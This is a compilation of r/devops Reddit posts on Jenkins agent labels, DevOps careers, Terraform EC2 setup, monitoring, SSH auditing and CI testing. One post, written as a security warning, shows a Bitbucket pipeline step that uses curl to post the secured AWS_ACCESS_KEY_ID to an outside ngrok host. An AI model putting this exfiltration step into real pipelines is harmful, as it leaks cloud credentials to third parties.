Jenkins: agent label inheritance among stages?

Hey, I'm wondering if a stage can inherent agent labels or if they override the values when refactoring it within a stage?

I'm using a parallel build and would want each stage to have its own agent label. Example:

pipeline {
agent { label 'baselabel' }
stages {
stage('Build') {
parallel {
stage('Test1') {
agent { label 'childlabel' }
steps {
script {
sh "echo 'hello world'"
}
}
}
stage('Test2') {
agent { label 'childlabel2' }
steps {
script {
sh "echo 'hello world'"
}
}
}
}
}
}

In my example above, would stage **Test\1 have base_label and child_label? Or would the child_label override the base one?

Thanks,

https://redd.it/lsbxa6
@r_devops

Moving to a Devops role from windows

As the title suggest, I am moving from a Senior Windows Infrastructure engineer role with a large PLC company (mostly on-prem) to a Devops role with a global company that provides accountancy software on aws using linux.

I am very excited to get stuck in and will no doubt be posting loads of questions. In my current position the technology stack wasn't keeping up the market and became apparent that staying with them would eventually come back to bite me.

One question I do have for the Devops community, do certifications still hold their value in this job sector? I was very much of the opinion that I did the Microsoft exams to validate my skills but it is time consuming and demanding. Obvious routes I can see is getting Devops AWS certified, however there are loads of other technologies in use such as Ansible, docker & team city for CI/ CD.

Interested to know your thoughts.

https://redd.it/ls5gx3
@r_devops

How to deal with multiple interviewing processes and offers?



I already had some interviews with positive feedback that will probably result in an offer, and also have still some interview processes starting and going on.

How do I have to deal with multiple processes and offers if I'm about to receive an offer from one company but still want to wait for other companies? Should I gather as much offers as possible and wait for all processes to have finished before accepting an offer, or should I even try to sort of delay the process at other comapanies?

Not sure how to handle this.

https://redd.it/ls66yy
@r_devops

DevOps for beginners? Part II

Hi all, I hope you all are having an exceptional week. Last week I published an article called DevOps is not a thing. Due to its coverage I had to split it up in two articles. I have the second one ready with me today. so go ahead and check it out. https://vibhanshuspeaks.medium.com/devops-is-not-a-thing-part-ii-26fb223f0dbf
If you like it please appreciate it, found any issue report back I will fix that, want to discuss? I'm open for your comments! :)

https://redd.it/ls3rb0
@r_devops

Anyone tries to use Digital Ocean App Platform?

I am developing a web widget that can be embedded into another website. DO App Platform looks good since it has a load balancer built-in. However, I am not sure if it can handle CORS, content security policy, web server headers, etc.

https://redd.it/ls39pw
@r_devops

Full monitoring in one place with Grafana and Kubernetes (+100 instances)

I have over 100 instances on AWS. I want full monitoring in one place - Kubernetes cluster with Grafana.

My question is, what do you think about generating dashboards (IaaC) with CPU/RAM/IOps usage views for so many instances?

Is it a good idea to use helm for that and then somehow switch values so that it can fetch data from other instances and create charts on a per-instance basis?

Perhaps one dashboard with one chart, which shows all of CPU usage, another with RAM etc.?

What solutions worked for you in such a scenario?

https://redd.it/ls0f9l
@r_devops

CKA/CKAD still worthwhile?

My company is offering to pay for my training and exams. I have no k8s experience, so I think I'm going to go for it, if for nothing else just to learn the tech. Just curious if these certs are actually held in high regard?

https://redd.it/lroeh7
@r_devops

Terraform EC2 post deploy configuration

Wondering if anyone can share their ideas on getting config files and installing packages on new EC2 instances provisioned using terraform.

options considered:

\- baking packages into AMI & deploying config files to EC2 instance using Terraform

\- using Terraform to run post exec hooks on the EC2 instance after deploy

\- using Ansible to deploy scripts and packages to EC2 instance after deploy

These seem to be the only ways to keep the configuration of the instance located with the IAC package, I'm a little fuzzy on how I would execute these solutions so any advice if you have done it before or think it's a good idea would be useful.

Would like to avoid deploying supporting resources like a chef or puppet server.

https://redd.it/lrniza
@r_devops

Terraform EC2 post configuration

Wondering if anyone can share their ideas on getting config files and installing packages on new EC2 instances provisioned using terraform.

options considered:

\- baking packages into AMI & deploying config files to EC2 instance using Terraform

\- using Terraform to run post exec hooks on the EC2 instance after deploy

\- using Ansible to deploy scripts and packages to EC2 instance after deploy

These seem to be the only ways to keep the configuration of the instance located with the IAC package, I'm a little fuzzy on how I would execute these solutions so any advice if you have done it before or think it's a good idea would be useful.

Would like to avoid deploying supporting resources like a chef or puppet server.

https://redd.it/lrmwgk
@r_devops

How do i manage several processes - without containers

Since it's 2021, the standard way of running several processes across a number of virtual machines is to run them in containers under Kubernetes. That enables automatic monitoring of the processes, failover, scaling, and all those good things.

But before containers were a thing (or even today, because containers and Kubernetes add a level of complexity that you may not want or need), how would you manage several running processes on a server cluster? Starting new processes on the machine with enough capacity, reporting if they fail, restarting, etc. -- there surely must be some tools for that, similar to what you get with Kubernetes but with standard Linux processes instead of containers.

https://redd.it/lrmfis
@r_devops

Auditable SSH access to server maintenance + Jenkins jobs

We deploy and manage services/servers for lots of different customers and we need to comply with new regulatory requirements for auditability.

For most of the "manual" maintenance tasks we can just use a bastion server with SSH sessions recordings, automatic keys assignments, directory auth and 2FA, all of that, no problem. But when it comes to the jobs going through Jenkins, things become cloudy.

We have a few Jenkins nodes (agents) around but most of the deployments go through SSH (ansible, rsync etc). We can't just have the same rule applied here (who is going to type in 2FA code all the time a job runs ;-) but at least we must be able to concentrate those accesses in the bastion and keep track of those activities as well, apart from Jenkins or repository audit.

Is this something you guys have been through?

https://redd.it/lrlrt2
@r_devops

Azure DevOps lefthand menu. #HATEPOST

Please. Anyone.


Does anyone know how to stop the hover over functionality of the left hand navigation menu?


https://imgur.com/KMt0M9U


I keep accidently taking my hand off my mouse, which then falls onto one of these icons, meanwhile I go to type and end up leaving the page without saving.


Fucking awful design.

https://redd.it/lsyyvx
@r_devops

(Free) Bitbucket pipelines can leak your credential

Lately I has been working with a Free version of Bitbucket Pipeline to apply for my side project. The more I work with it, the more I see the pipeline as a security risk, expecially in the repository with contractor type dev.

So today I do some testing to confirm my hypnosis.

The project setup:
I have a repo with dev and main branch, these branches can only be merge/write with admin account.
We have some credential in `Repositories Variables` and some in `Deployment Variables`, one of them is AWS_ACCESS_KEY_ID and we already mark it as secured in the setting

As bitbucket-pipelines.yml file can be change in feature branch, developer can add new pipelines rule to trigger pipeline for that specific branch only:
ex:
```
definitions:
steps:
- step: &build-deploy

pipelines:
branches:
dev:
- step:
<<: *build-deploy
deployment: staging
master:
- step:
<<: *build-deploy
deployment: production

# start malice changes
test-hack-pipeline:
- step:
script:
- >-
curl --header "Content-Type: application/json"
--request POST
--data "{\"username\":\"${AWS_ACCESS_KEY_ID}\"}"
https://9d756c9f91e2.ngrok.io
# end malice changes
```

With just a little bit of change, I can extract a "Repositories Variables". There no thing to prevent I extends that script to capture all the other enviroment variables.

In case of `Deployment Variables`, those value can be proteced by the premium feature call `Deployment permissions`, where we can restrict the deployment variables access from unproteted branch.

So if you don't trust your dev, definately upgrade to premium and move all credential into `Deployment Variables`

https://redd.it/lt5eic
@r_devops

For dev's looking for grants to develop apps around crypto

just wanted to drop this here if anyone is interested. The Kin Foundation is offering grants to developers that want to join the Kin ecosystem through the catalyst fund. why work for free when Kin will pay you and support you?

https://kin.org/catalyst-fund/

https://www.reddit.com/r/KinFoundation/

https://redd.it/lt9msx
@r_devops

Deep linking Question (in videos)

Hey, all! First time poster here. Please let me know if this is on the wrong board.

Do you guys happen to know of any meta documentation tools/platforms/plugins/etc.?

i.e. if someone were to search “marital issues” inside of our site/platform, our platform would allow us the ability to deep link into specific video timestamps where our video subjects would mention “marital issues” without playing the high-level video from the beginning.
Thanks in advance! 🙂

https://redd.it/ltatys
@r_devops

Assistance hashing out testing in CI/CD pipeline

I built this graphic primarily to help myself wrap my brain around how to implement testing in the CI/CD pipelines I'm building. Seeking assistance and input on it to see where I'm wrong, what is missing, what is / isn't necessary, etc.

https://imgur.com/a/6eMnVcd

https://imgur.com/a/PiQ9Kp0

My primary questions are the following:

1. The biggest one: Does this look right? Am I missing steps? Are any of them not necessary?
2. I really haven't quite wrapped my brain around how to do the integration testing. Really, just / and /api, and /admin and /api, need integration testing, but not 100% sure how to go about this: docker-compose, another k8s cluster in a VM like the unit tests, etc?
3. Any other suggestions?

I'm trying to implement good practices. Our's are currently... not great. We do have pipelines setup, but all of the testing is manual: test in dev, PR and deploy to staging, manual test in staging, PR and merge to production, manual testing of production.

My end goal is to have the PR trigger a pipeline to run tests and merge if they all pass, which triggers the deployment to production.

As always, I appreciate the help!

https://redd.it/lsytih
@r_devops

Alternate to AWS Fargate in Microsoft Azure

What is the alternative to AWS Fargate in Azure

https://redd.it/lt3nf2
@r_devops

Docker like dedicated to Embedded System

Hi there! :)

I've just launched the new release of an open source and real-time embedded software named Luos.

Luos is like Docker, but dedicated to embedded systems. In other, words Luos is an open source and real-time architecture for designing, testing, and deploying embedded applications.

It could be great if you try it, and give me some feedback (I really need feedback) ➔ https://docs.luos.io

Of course I'm here if you need help :D

https://redd.it/lt1h9x
@r_devops

Observability with infrastructure as code

I recently guest wrote a post on pulumi's website about using their Automation API to give myself much deeper insights into cloud resource creation.

I am currently using this with tooling where users can request foundational infrastructure through a webui, where it will create all the needed bits (e.g. vpc, peerings, flow logs, authentication, and a optionally a basic environment of RDS, ECS etc.) and as part of this process, it takes generated credentials and stores them in a Vault instance. The issue I had was when something failed to create, I had a hard time seeing what and why, and if something was taking longer than usual (such as a security group deletion hanging around indefinitely).

The tech used is pulumi and honeycomb, but other providers could be used but might be more effort (e.g. parsing terraform output to generate the spans).

https://www.pulumi.com/blog/observability-with-infrastructure-as-code/

https://redd.it/lswm6f
@r_devops

Dynatrace as a DevOps Tool

Does anyone use Dynatrace for DevOps. We are traditional devops and support the software but we are also doing internal devops. I like the tool and it does say it works well with ADO but I am only seeing developmental uses not necessarily devops uses. Any advice would be appreciated! (2 years in devops)

https://redd.it/lt0814
@r_devops

Manual actions that you wish were automated

First time poster here, so take it easy on me! While I'm not a developer myself, I work closely with a group of team members that are strongly focused on DevOps culture. I've spent quite some time recently researching why & how companies implement DevOps methodologies. While there's so much more for me to learn, the main concept I keep coming back to is automation. Specifically how important it is to bridging the gap between development & operations, and how it significantly improves delivery of features & functionality to customers.

I'm going to continue to engage with my team members on some the questions below, but I'm curious to hear from a larger audience:

* What are some actions you take that you wish were automated?
* Are those actions related to the general delivery pipeline, troubleshooting, or generating regular feedback?
* What's prohibited you or your team from automating those actions to reduce time & efforts?

https://redd.it/lt010g
@r_devops